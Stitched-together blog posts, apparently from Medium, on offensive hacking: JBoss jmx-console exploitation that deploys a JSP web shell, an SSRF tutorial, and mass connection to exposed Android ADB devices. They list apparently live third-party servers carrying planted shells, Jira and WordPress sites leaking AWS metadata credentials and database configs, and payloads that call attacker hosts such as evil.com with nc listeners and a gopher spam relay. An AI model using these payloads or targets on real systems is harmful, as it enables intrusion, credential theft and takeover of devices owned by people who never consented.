What is Jboss ?

JBoss Application Server (JBoss AS) is an open-source, cross-platform Java application server developed by JBoss, a division of Red Hat Inc. JBoss AS is an open-source implementation of Java 2 Enterprise Edition (J2EE) that is used for implementing Java applications and other Web-based applications and software.

JBoss contains a web accessible administrator page called the JMX Console. The JMX Console is ironically plagued by the same vulnerability as Apache Tomcat Manager because it is often deployed with default, weak, or even no credentials. Also comparable to Apache Tomcat Manager, JBoss allows administrators (and attackers) to upload and publish Web application ARchive (WAR) files remotely through this admin console.

Vulnerable versions -

JBoss Application Server versions: 3, 4, 5 and 6.

Paths to Check -

/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.system:type=ServerInfo
/web-console/ServerInfo.jsp
/invoker/JMXInvokerServlet
/admin-console/

Manually Exploiting JBoss jmx-console -

• Create the WAR file with our jsp shell
• Hosting the WAR file on a server
• Finding Publicly accessible jmx-console
• Deploy the WAR file
• Accessing the jsp shell

Shodan Dorks -

“x-powered-by” “jboss”
jboss http.favicon.hash:-656811182

Create the WAR file with our jsp shell -

I made a repository on GitHub with WAR file

Mad-robot/Exploiting-jboss

WAR file consist of jsp shell

URL to access the shell -

/fs/shell.jsp?pass=secret&cmd=whoami

Hosting the WAR file on a server -

I used python to host it

python -m SimpleHTTPServer 8000

Finding Publicly accessible jmx-console -

Using shodan I found some

It looks like this

Deploy the WAR file -

Navigate to the JMX Console on the target host (http://IP:port/jmx-console/) and search for “service=MainDeployer”.

Now using the “void deploy()” we are going to deploy our WAR file

Since it allows you to enter a URL as a parameter value in java.net.URL. In this field, enter your attack IP and the name of the WAR file in the URL box and then click the “Invoke” button.

If it’s successfully deployed it will show a message like below

Accessing the jsp shell -

Jsp shell on the target can be found at /fs/shell.jsp

Note that the JSP shell from ‘RedTeam Pentesting’ requires a password. By default the password is “secret”

http://203.196.40.169:8090/fs/shell.jsp?cmd=whoami&html=true&pass=secret

Automating using JexBoss -

joaomatosf wrote a Exploitation Tool for JBoss Application Server and others Java Platforms, Frameworks, Applications, etc.

GitHub - joaomatosf/jexboss: JexBoss: Jboss (and Java Deserialization Vulnerabilities) verify and EXploitation Tool

Usage-

python jexboss.py -host http://target_host:8080

http://103.38.15.81:8081/fs/shell.jsp?pass=secret&cmd=whoami
http://52.14.233.11:8080/fs/shell.jsp?pass=secret&cmd=whoami
http://34.197.157.79:8090//fs/shell.jsp?pass=secret&cmd=whoami
http://14.192.159.214:8080/fs/shell.jsp?pass=secret&cmd=whoami
https://13.232.144.35:8443/fs/shell.jsp?pass=secret&cmd=whoami
http://13.234.45.168:8080/fs/shell.jsp?pass=secret&cmd=dir
http://103.211.80.23:3541/fs/shell.jsp?pass=secret&cmd=whoami
http://190.48.127.45:8080/fs/shell.jsp?pass=secret&cmd=whoami
http://41.64.20.50:8080/fs/shell.jsp?pass=secret&cmd=whoami
http://203.196.40.169:8090/fs/shell.jsp?pass=secret&cmd=whoami
http://222.92.88.242:8086/fs/shell.jsp?pass=secret&cmd=whoami
http://200.18.67.52:8080/fs/shell.jsp?pass=secret&cmd=whoami
http://177.131.177.93:8080/fs/shell.jsp?pass=secret&cmd=whoami
http://177.131.177.93:8080/fs/shell.jsp?pass=secret&cmd=whoami
http://222.180.200.190:9080/fs/shell.jsp?pass=secret&cmd=whoami
http://59.89.197.92:8080/fs/shell.jsp?pass=secret&cmd=whoami
https://web.unimeditapetininga.com.br/fs/shell.jsp?pass=secret&cmd=dir

Go find some by yourself

Lets get in to Live Examples

The author of this BLOG is no way responsible for any misuse of the information.

4. Live Examples -

Lets look in to basic SSRF

https://robert-brook.com/parliament/index.php?page=http://www.parliament.uk/business/news/2019/parliamentary-news-2019/this-week-in-the-commons-friday-25-january-2019/

Here the page parameter fetch external resource and display its content

SSRF to XSS -

https://robert-brook.com/parliament/index.php?page=http://brutelogic.com.br/poc.svg

Read Local files -

https://robert-brook.com/parliament/index.php?page=file:///etc/passwd

When you try other URL schemas like DICT gives an error

 Warning: file_get_contents(): Unable to find the wrapper “dict” — did you forget to enable it when you configured PHP

This indicates DICT URL schemas is not enabled

In the same way you can try other URL schemas and find which all are enabled and use them to exploit it further

SSRF in FFMPEG -

Read local files

Working vulnerable site -

https://www.onlinevideoconverter.com/
https://www.files-conversion.com/

Repo Link - https://github.com/neex/ffmpeg-avi-m3u-xbin

SSRF in Widely used Plugins and CMS -

SSRF in Jira -

Jira version < 7.3.5 are suffering from SSRF

https://<JIRA_BASEPATH>/plugins/servlet/oauth/users/icon-uri?consumerUri=…

There are more than 40k jira sites on shodan. You can find them using below dorks

X-AUSERNAME: anonymous
X-AUSERNAME: anonymous org:"Amazon.com"  -- For aws
X-AUSERNAME: anonymous org:"Microsoft Azure" -- For Azure
X-AUSERNAME: anonymous org:"google"  -- For Google

Now lets see some vulnerable Sites

https://jira.majesco.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://jira.intellectdesign.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://team.asg.com/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://jira.magnitude.com/https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://support.eu.evertz.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://jira.dhis2.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://jira.vectormediagroup.com/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/ -- Aws Details 

https://mattel.cprime.com/jira/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

http://adoptivefam.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://jira.iea-dpc.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://jira.fellowshipchurch.com:8443/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://jira.soleus.nu/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

http://jira.succraft.com:8080/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

https://tickets.metabrainz.org/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

http://support.make-my-day.co.nz/plugins/servlet/oauth/users/icon-uri?consumerUri=https://google.com

http://52.202.112.34/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/SystemsManagerRole -- Aws Details

https://jira.canallabs.fr/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/profile -- Aws Details

http://54.247.191.19/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details

http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data -- Aws Details

http://52.22.123.239/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details

https://devops.deviate.net.nz/projects/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance -- Aws Details

https://52.73.101.120/plugins/servlet/oauth/users/icon-uri?consumerUri=http://169.254.169.254/latest/meta-data/iam/security-credentials/BitbucketRole -- Aws Details

These are some vulnerable sites I found

SSRF in JSmol2WP Wordpress Plugin -

JSmol2WP version below 1.07 has an Unauthenticated Server Side Request Forgery

http://localhost:8080/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php

Dork -

inurl:wp-content/plugins/jsmol2wp

Vulnerable sites -

https://www.vivelab12.fr/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details

http://thasso.com/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=https://google.com -- Fetch google.com

http://www.ch.ic.ac.uk/rzepa/blog/wp-content/plugins/jsmol2wp/php/jsmol.php?isform=true&call=getRawDataFromDatabase&query=php://filter/resource=../../../../wp-config.php -- DB details

SSRF in Qards Wordpress Plugin -

Qards is vulnerable to Server Side Request Forgery (SSRF)

http://target/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

Dork -

inurl:wp-content/plugins/qards

Vulnerable sites -

http://www.horlovia-chemicals.ch/wordpress/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

https://vfsgroup.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

https://mrgoatygelato.com.au/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

https://arturolopezvalerio.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

https://hooverwellness.com/wp-content/plugins/qards/html2canvasproxy.php?url=http://google.com

SSRF in HTML to PDF conversion -

Vulnerable sites -

https://pdfcrowd.com/#convert_by_input
https://convertio.co/html-pdf/

Content of Ssrf.html

"><iframe src="file:///etc/passwd"></iframe>

"><svg/onload=document.write(document.location)> -- to know the path and some times to know what os they are using at backend

All these sites posted above are just to let you practice , I am not responsible for any misuse of the information.

ii. Blind -

Not all SSRF vulnerabilities return the response to the attacker. This type of SSRF is known as blind SSRF

Exploiting Blind SSRF -

DEMO (using Ruby)

require 'sinatra'
require 'open-uri'

get '/' do
  open params[:url]

  'done'
end

The above code runs a server on port 4567 which on getting request does the following:
> make request to URL mentioned by user
> send reponse “OK” back to user instead of content(CANT SEE RESPONSE)

http://localhost:4567/?url=https://google.com will request google.com but does not show the response from google to attacker

To demonstrate impact with this kind of SSRF is to run an Internal IP and PORT scan

Here’s a list of private IPv4 networks that you could scan for services:

• 10.0.0.0/8
• 127.0.0.1/32
• 172.16.0.0/12
• 192.168.0.0/16

We can determine whether the specified PORT is Open/Closed by observing the Response Status and Response Time

Below is the example table of response status and time

Send Spam mails -

In some case if the server supports Gopher we use it to send spam mails from server IP

To demonstrate we will use test.smtp.org testing server.

Let’s craft a malicious php page :

http://attacker.com/ssrf/gopher.php

<?php
        $commands = array(
                'HELO test.org',
                'MAIL FROM: <admin@server.com>',
                'RCPT TO: <bit-bucket@test.smtp.org>',
                'DATA',
                'Test mail',
                '.'
        );

        $payload = implode('%0A', $commands);

        header('Location: gopher://test.smtp.org:25/_'.$payload);
?>

https://example.com/ssrf.php?url=http://attacker.com/ssrf/gopher.php

This code concats our SMTP command into one line delimited by %0A and forces server to send a ‘GOPHER’ request to a SMTP server while actually sending a valid SMTP request

Performing Denial of service -

An attacker can use iptables TARPIT target to block requests for a prolonged time and CURL’s FTP:// protocol which never timeouts.

An attacker can send all TCP traffic to port 12345 to TARPIT and the request

https://example.com/ssrf/url?url=ftp://evil.com:12345/TEST

2. Test Cases -

Places to look for SSRF

End points which fetch external/internal resources -

Case I-

http://example.com/index.php?page=about.php

http://example.com/index.php?page=https://google.com

http://example.com/index.php?page=file:///etc/passwd

Refer - Link

Case -II

Try changing urls in POST request

POST /test/demo_form.php HTTP/1.1
Host: example.com

url=https://example.com/as&name2=value2

Refer - #411865, Link

PDF generators -

There are some cases where server converts uploaded file to a pdf

Try injecting <iframe>, <img>, <base> or <script> elements or CSS url() functions pointing to internal services.

You can read internal files using this

<iframe src=”file:///etc/passwd” width=”400" height=”400">

<iframe src=”file:///c:/windows/win.ini” width=”400" height=”400">

Refer - Link

File uploads -

Instead of uploading try changing input type to URL and check if the server sends a request to it

<input type=”file” id=”upload_file” name=”upload_file[]” class=”file” size=”1" multiple=””>

to

<input type=”url” id=”upload_file” name=”upload_file[]” class=”file” size=”1" multiple=””>

and Pass the URL

Here’s an example.

Video Conversion -

There are many applications using outdated version ffmpeg to convert videos from one format to other

There is know SSRF vulnerability in this

Clone neex repo and generate an avi using below command

./gen_xbin_avi.py file://<filename> file_read.avi

and upload it in the vulnerable server and try converting it from avi to mp4

this reads can be used to read internal file and write in to the video

Refer - #237381 , #226756

Know SSRF vulnerabilities in CMS ,Plugins, Themes..

This is limited to your search knowledge

• CVE - Search Results
• Search

3. Bypass Whitelisting and Blacklisting -

Lets talk about whitelisting and blacklisting first

whitelisting - Allowing specific URL’s (Allowed Hosts)

Lets say if a server whitelist google.com and u can fetch only google.com using SSRF and rest all other domains get rejected

The only way to bypass whitelisting is find an open redirect in the whitelisted domain. Lets look in to example

Case - 1

www.example.com whitelisted abc.com and you found SSRF in example.com

http://example.com/ssrf.php?url=https://google.com -Fails to fetch as it is not whitelisted

http://example.com/ssrf.php?url=http://abc.com/?redirect=https://google.com - Successfully fetches google.com

Case - 2

www.example.com whitelisted *.abc.com and you found SSRF in example.com

http://example.com/ssrf.php?url=https://google.com -Fails to fetch as it is not whitelisted

This can be bypassed if you get any subdomain takeover on *.abc.com

and use it to iframe or redirect it to desired site

http://example.com/ssrf.php?url=http://subdomain.abc.com/?redirect=https://google.com — Successfully fetches google.com

blacklisting - Blocking specific URL’s (Disallowed Hosts)

In the same way if a server blacklist google.com and when you ask the server to fetch google.com it blocks

Blacklisting can be bypassed in many ways

Converting IP to hexadecimal -

example - converting http://192.168.0.1 to doted hex - http://c0.a8.00.01 and dot less hex http://0xc0a80001

Converting IP to Decimal -

Use any online convertors ( Link )

http://0177.0.0.1/ = http://127.0.0.1
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

Converting IP to Octal -

example — converting http://192.168.0.1 to doted octal http://0300.0250.0000.0001 and dot less http://030052000001

Refer - #288250

Using wildcard DNS -

There are many sites online provide wildcard DNS, some of them are

• xip.io: wildcard DNS for everyone
• NIP.IO - wildcard DNS for any IP Address
• ip6.name
• Welcome to sslip.io

U can simply use them to point it to a specific IP

          10.0.0.1.xip.io   resolves to   10.0.0.1
      www.10.0.0.1.xip.io   resolves to   10.0.0.1
   mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
  foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1
ssrf-cloud.localdomain.pw   resolves to   169.254.169.254
       metadata.nicob.net   resolves to   169.254.169.254

Or you can use your own domain to do this

Make a subdomain and point to 192.168.0.1 with DNS A record

Refer:- #288193 , #288183

Using enclosed alphanumerics -

http://ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ = example.com

List:
① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳ ⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇ ⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛ ⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵ Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ ⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴ ⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿

./End of Part -2

First things first

What is SSRF?

Server Side Request Forgery (SSRF) refers to an attack where in an attacker is able to send a crafted request from a vulnerable web application.

In a simple way - Attacker asks the server to fetch a URL for him

For example -

GET /?url=http://google.com/ HTTP/1.1
Host: example.com

Here example.com fetch http://google.com from its server

Table of Contents

1. Types of SSRF
2. Test Cases
3. Bypass Whitelisting and Blacklisting
4. Live Example

1. Types of SSRF -

i. The one which displays response to attacker ( Basic )

ii. The one which does not display response ( Blind )

i. Basic -

As mentioned It displays response to attacker, so after the server fetches the URL asked by attacker for him, it will send the response back to attacker

DEMO (using Ruby)
INSTALL the following package and run the code

gem install sinatra

require 'sinatra'
require 'open-uri'

get '/' do
  format 'RESPONSE: %s', open(params[:url]).read
end

The above code runs a server on port 4567 ( Took from Jobert’s Post )

So this just opens the file for us
: http://localhost:4567/?url=contacts will open contact file and display response to frontend
: http://localhost:4567/?url=/etc/passwd will open etc/passwd and response to serve
: http://localhost:4567/?url=https://google.com will request google.com on server and show response

What can we do with SSRF? -

• SSRF to Reflected XSS
• Try URL schemas to read internal and make server perform actions (file:///, dict://, ftp://, gopher://..)
• We can scan for internal networks and ports
• If it runs on Cloud Instances try to fetch META-DATA

SSRF to Reflected XSS -

Simply fetch a file from external sites which has malicious payload with content type served as html

Example - http://localhost:4567/?url=http://brutelogic.com.br/poc.svg

Testing URL schemas -

First thing to do when we find an SSRF is to test all the wrapper which are working

file:///
dict://
sftp://
ldap://
tftp://
gopher://

file:// -

File is used to fetch file from the file system

http://example.com/ssrf.php?url=file:///etc/passwd
http://example.com/ssrf.php?url=file:///C:/Windows/win.ini

If the server block http request to external sites or whitelist you could simply use below URL schemas to make a request

dict:// -

DICT URL scheme is used to refer to definitions or word lists available using the DICT protocol:

http://example.com/ssrf.php?dict://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 31126)
CLIENT libcurl 7.40.0

sftp:// -

Sftp stands for SSH File Transfer Protocol, or Secure File Transfer Protocol, is a separate protocol packaged with SSH that works in a similar way over a secure connection.

http://example.com/ssrf.php?url=sftp://evil.com:1337/

evil.com:$ nc -lvp 1337
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 37146)
SSH-2.0-libssh2_1.4.2

ldap:// or ldaps:// or ldapi:// -

LDAP stands for Lightweight Directory Access Protocol. It is an application protocol used over an IP network to manage and access the distributed directory information service.

http://example.com/ssrf.php?url=ldap://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldaps://localhost:1337/%0astats%0aquit
http://example.com/ssrf.php?url=ldapi://localhost:1337/%0astats%0aquit

tftp:// -

Trivial File Transfer Protocol is a simple lockstep File Transfer Protocol which allows a client to get a file from or put a file onto a remote host

http://example.com/ssrf.php?url=tftp://evil.com:1337/TESTUDPPACKET

evil.com:# nc -lvup 1337
Listening on [0.0.0.0] (family 0, port 1337)
TESTUDPPACKEToctettsize0blksize512timeout3

gopher:// -

Gopher, is a distributed document delivery service. It allows users to explore, search and retrieve information residing on different locations in a seamless fashion.

http://example.com/ssrf.php?url=http://attacker.com/gopher.php

gopher.php (host it on acttacker.com):-
<?php
   header('Location: gopher://evil.com:1337/_Hi%0Assrf%0Atest');
?>

evil.com:# nc -lvp 1337
Listening on [0.0.0.0] (family 0, port 1337)
Connection from [192.168.0.12] port 1337 [tcp/*] accepted (family 2, sport 49398)
Hi
ssrf
test

For more Refer here

Scan for internal networks and ports -

What if they are running some servers in their LAN (Kibana, Elastic Search,MongoDB.. )

Which we can not access from internet directly as firewall blocks them

We use SSRF to access them.

Attacker runs a internal IP and PORT scan and understands more about the target and use it for further exploitation

This can some times lead to Remote Code Execution

Example - Found an internal host running an outdated software which has publicly know RCE, we can use it here to perform code execution and same applies for other vulnerabilities

Cloud Instances -

Amazon:

If you find an SSRF in Amazon Could, Amazon expose an internal service every EC2 instance can query for instance metadata about the host. If you found an SSRF vulnerability that runs on EC2, try requesting :

http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/user-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/IAM_USER_ROLE_HERE
http://169.254.169.254/latest/meta-data/iam/security-credentials/PhotonInstance

This will give our juicy information like Aws keys, ssh keys and more

Refer these for POC- #285380, #53088

For example:-

• http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/[INJECTION PAYLOAD]
• http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws/

Google Cloud -

Same for google

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys?alt=json

Further exploiting this can lead to instances takeover

Refer - #341876

Digital Ocean -

Overview about Meta-data

http://169.254.169.254/metadata/v1.json

And for other Cloud Instances you can refer Here

./End of part 1

Usually, developers connect to ADB service installed on Android devices using a USB cable, but it is also possible to use ADB wireless by enabling a daemon server at TCP port 5555 on the device.

Checking on SHODAN using dork

android debug bridge product:”Android Debug Bridge”

Lets grab all the IP’s from shodan api

Made a one-liner bash script to do that for me

Add you api in the script before executing

bash shodan_adb.sh

You can get that here

Got the json response of SHODAN search (total of 305 pages)

One-liner to grep all ips from them and make a single file

bash grep_ip.sh > ip.txt

You can get that here

Got around 25k
Link to the list is here

Next we need to add them to adb using adb connect ip:port

One-liner to add all the IP’s from ip.txt to adb

bash adb_connect.sh

You can get that here

Accessing them
To list all the connected adb use adb devices

Use the script adb.sh to list them in order to access them like it it here

adb $(./adb.sh) shell

Done

./logout

📝 Read this story later in Journal.

🗞 Wake up every Sunday morning to the week’s most noteworthy Tech stories, opinions, and news waiting in your inbox: Get the noteworthy newsletter >